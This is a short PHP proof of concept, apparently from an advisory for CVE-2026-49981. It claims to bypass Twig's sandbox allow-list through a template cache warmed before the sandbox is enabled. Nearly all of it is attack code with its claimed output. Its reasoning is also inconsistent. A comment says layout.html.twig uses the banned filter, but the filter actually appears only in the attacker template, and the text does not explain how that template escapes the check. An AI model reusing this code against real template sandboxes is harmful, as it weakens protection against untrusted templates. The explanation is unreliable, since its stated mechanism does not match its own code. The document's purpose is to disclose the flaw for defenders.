CVE-2026-49981: Twig Sandbox Filter/Tag/Function Allow-list Bypass via Cached Template

<?php
// Shared Environment used for both non-sandboxed and sandboxed renders
// (typical in FrankenPHP, RoadRunner, or Symfony Messenger workers)

use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;

$loader = new ArrayLoader([
    // layout.html.twig uses the banned |upper filter
    'layout.html.twig'  => '{% block body %}{% endblock %}',
    // attacker.html.twig extends layout and calls |upper (not in allow-list)
    'attacker.html.twig' => '{% extends "layout.html.twig" %}'
        . '{% block body %}{{ secret|upper }}{% endblock %}',
]);

$twig = new Environment($loader);

// Step 1: non-sandboxed render pre-warms layout.html.twig into $loadedTemplates.
// checkSecurity() runs here with isSandboxed() === false => no-op verdict cached.
$twig->render('layout.html.twig');

// Step 2: enable the sandbox with a policy that explicitly bans |upper.
$policy = new SecurityPolicy(
    allowedTags:     ['extends', 'block'],
    allowedFilters:  ['escape'],          // 'upper' is NOT allowed
    allowedFunctions: [],
    allowedProperties: [],
    allowedMethods: [],
);
$twig->addExtension(new SandboxExtension($policy, sandboxed: true));

// Step 3: sandboxed render of attacker template.
// layout.html.twig is already in $loadedTemplates; its cached no-op verdict
// is reused, so |upper runs despite not being in the allow-list.
echo $twig->render('attacker.html.twig', ['secret' => 'classified']);
// Output: CLASSIFIED  <-- sandbox bypass confirmed